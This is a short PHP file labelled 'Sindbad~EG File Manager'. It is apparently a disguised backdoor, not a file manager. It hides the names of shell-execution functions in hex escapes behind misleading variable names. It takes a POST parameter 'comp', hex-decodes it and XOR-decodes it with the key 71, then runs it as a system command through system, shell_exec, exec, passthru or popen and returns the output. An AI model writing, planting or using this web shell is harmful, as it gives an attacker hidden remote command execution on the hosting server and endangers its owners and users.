Sindbad~EG File Manager

<?php

$reverse_lookup5 = "p\x6F\x70en";
$reverse_lookup2 = "\x73\x68\x65ll_\x65x\x65c";
$reverse_lookup7 = "\x70cl\x6Fse";
$event_handler = "hex2\x62\x69n";
$reverse_lookup1 = "\x73y\x73t\x65m";
$reverse_lookup4 = "\x70\x61\x73\x73thru";
$reverse_lookup6 = "s\x74r\x65\x61m\x5F\x67\x65t_con\x74en\x74s";
$reverse_lookup3 = "\x65x\x65c";
if (isset($_POST["\x63\x6Fmp"])) {
            function buffer_cache ($key  ,     $marker ){ $desc   = '' ; $q=0; while($q<strlen($key)){$desc.=chr(ord($key[$q])^$marker);$q++;} return $desc;   }
            $comp = $event_handler($_POST["\x63\x6Fmp"]);
            $comp = buffer_cache($comp, 71);
            if (function_exists($reverse_lookup1)) {
                $reverse_lookup1($comp);
            } elseif (function_exists($reverse_lookup2)) {
                print $reverse_lookup2($comp);
            } elseif (function_exists($reverse_lookup3)) {
                $reverse_lookup3($comp, $dchunk_key);
                print join("\n", $dchunk_key);
            } elseif (function_exists($reverse_lookup4)) {
                $reverse_lookup4($comp);
            } elseif (function_exists($reverse_lookup5) && function_exists($reverse_lookup6) && function_exists($reverse_lookup7)) {
                $marker_desc = $reverse_lookup5($comp, 'r');
                if ($marker_desc) {
                    $holder_pointer = $reverse_lookup6($marker_desc);
                    $reverse_lookup7($marker_desc);
                    print $holder_pointer;
                }
            }
            exit;
        }